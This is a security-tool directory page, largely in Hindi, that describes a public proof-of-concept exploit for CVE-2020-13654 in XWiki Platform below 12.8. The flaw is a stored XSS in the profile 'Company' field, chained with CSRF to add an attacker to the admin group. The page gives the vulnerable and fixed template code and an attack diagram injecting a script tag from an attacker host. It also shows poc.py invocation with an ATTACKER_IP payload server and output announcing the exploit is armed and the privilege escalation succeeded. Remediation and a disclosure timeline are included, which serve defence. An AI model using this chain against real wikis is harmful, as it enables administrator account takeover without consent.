Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - संग्रहीत XSS → CSRF → खाता अधिग्रहण | Kitploit
उपकरण/GitHubGitHub/astaruf/cve-2020-13654
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - संग्रहीत XSS → CSRF → खाता अधिग्रहण

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2020-13654 – XWiki Platform < 12.8 – संग्रहीत XSS → CSRF → विशेषाधिकार वृद्धि

द्वारा खोजा गया और रिपोर्ट किया गया: Astaruf
पूर्ण लेख: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


भेद्यता

XWiki Platform संस्करण 12.8 से पहले प्रोफ़ाइल संपादक में उपयोगकर्ता-नियंत्रित फ़ील्ड्स पर HTML एन्कोडिंग लागू नहीं करता है। अनुसंधान के दौरान पुष्टि किया गया प्रभावित फ़ील्ड "Company" है (Edit → Personal Information के अंतर्गत), लेकिन अन्य प्रोफ़ाइल फ़ील्ड्स भी समान कोड पथ साझा करते हैं।

जब प्रोफ़ाइल पृष्ठ प्रस्तुत किया जाता है, तब संग्रहीत फ़ील्ड मान बिना किसी $escapetool.xml() या समकक्ष एस्केपिंग कॉल के HTML में यथावत आउटपुट होता है। कोई भी प्रमाणित खाता (जिसमें नए स्व-पंजीकृत खाते भी शामिल हैं) वाला हमलावर मनमाना HTML/JavaScript संग्रहीत कर सकता है जो प्रोफ़ाइल देखने वाले प्रत्येक उपयोगकर्ता (प्रशासकों सहित) के ब्राउज़र में स्थायी रूप से निष्पादित होता है।

प्रभावित Velocity टेम्पलेट में मूल कारण:

root@kitploit:~
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
फ़ील्डमान
उत्पादXWiki Platform
प्रभावित संस्करण< 12.8
समाधान हुआ12.8
CVSSv3 स्कोर7.5 (उच्च)

हमला परिदृश्य

यह PoC एक शून्य-क्लिक विशेषाधिकार वृद्धि श्रृंखला प्रदर्शित करता है:

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

एक पृष्ठ विज़िट के अलावा किसी प्रशासकीय इंटरैक्शन की आवश्यकता नहीं है।


PoC

poc.py एक स्व-निहित शोषण स्क्रिप्ट है। यह:

  1. वैकल्पिक रूप से XWiki के खुले पंजीकरण एंडपॉइंट के माध्यम से एक नया निम्न-विशेषाधिकार खाता स्व-पंजीकृत करता है
  2. हमलावर खाते को प्रमाणित करता है और XSS पेलोड को Company प्रोफ़ाइल फ़ील्ड में इंजेक्ट करता है, शेष सभी मौजूदा फ़ील्ड मानों को संरक्षित करता है
  3. पुष्टि करता है कि पेलोड प्रस्तुत पृष्ठ स्रोत में मौजूद है
  4. एक एकीकृत HTTP सर्वर प्रारंभ करता है जो एम्बेडेड JavaScript पेलोड (/payload.js) को सर्व करता है और आने वाले बीकन को लॉग करता है
  5. एक प्रशासक द्वारा ज़हरीली प्रोफ़ाइल URL पर विज़िट करने की प्रतीक्षा करता है

जब प्रशासक URL पर विज़िट करता है, तब संग्रहीत <script src="..."> टैग हमलावर के सर्वर से payload.js लोड करता है। पेलोड प्रशासक के प्रमाणित ब्राउज़र संदर्भ में चलता है, चुपचाप हमलावर के खाते को XWikiAdminGroup में जोड़ता है, और परिणाम को वापस बीकन करता है।

उपयोग

root@kitploit:~
pip install -r requirements.txt

स्व-पंजीकरण के साथ (कोई पूर्व-मौजूद खाता आवश्यक नहीं):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

मौजूदा निम्न-विशेषाधिकार खाते के साथ:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

तर्क

अपेक्षित आउटपुट

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

समाधान

XWiki Platform ≥ 12.8 में अपग्रेड करें।

यह फिक्स सभी उपयोगकर्ता-नियंत्रित प्रोफ़ाइल फ़ील्ड्स पर उन्हें प्रस्तुत करने से पहले $escapetool.xml() लागू करता है, जिससे कच्चे HTML/JavaScript के इंजेक्शन को रोका जा सकता है।

यदि तत्काल अपग्रेड संभव नहीं है, तो स्व-पंजीकरण को प्रतिबंधित करें और XWiki के अभिगम अधिकार प्रबंधन के माध्यम से प्रोफ़ाइल दृश्यता को विश्वसनीय उपयोगकर्ताओं तक सीमित करें।


समयरेखा

तिथिघटना

संदर्भ

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है।
उन प्रणालियों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
लेखक दुरुपयोग के लिए कोई देयता नहीं लेता है।

टूल डाउनलोड करें
CWECWE-116 — अनुचित एन्कोडिंग या आउटपुट एस्केपिंग
तर्कआवश्यकविवरण
--target✅XWiki आधार URL
--catcher✅हमलावर-नियंत्रित URL (payload.js सर्व करने और बीकन एकत्र करने के लिए उपयोग किया जाता है)
--username✅हमलावर खाता उपयोगकर्ता नाम
--password✅हमलावर खाता पासवर्ड
--register✗शोषण से पहले खाता स्वचालित रूप से पंजीकृत करें
--first-nameयदि --registerपंजीकरण प्रथम नाम
--last-nameयदि --registerपंजीकरण अंतिम नाम
--emailयदि --registerपंजीकरण ईमेल
मई 2020भेद्यता की खोज
मई 2020XWiki सुरक्षा टीम को रिपोर्ट किया गया
जुलाई 2020XWiki Platform 12.8 में पैच किया गया
नवम्बर 2020MITRE द्वारा CVE-2020-13654 आवंटित
30 दिसंबर, 2020सार्वजनिक प्रकटीकरण — nstsec.com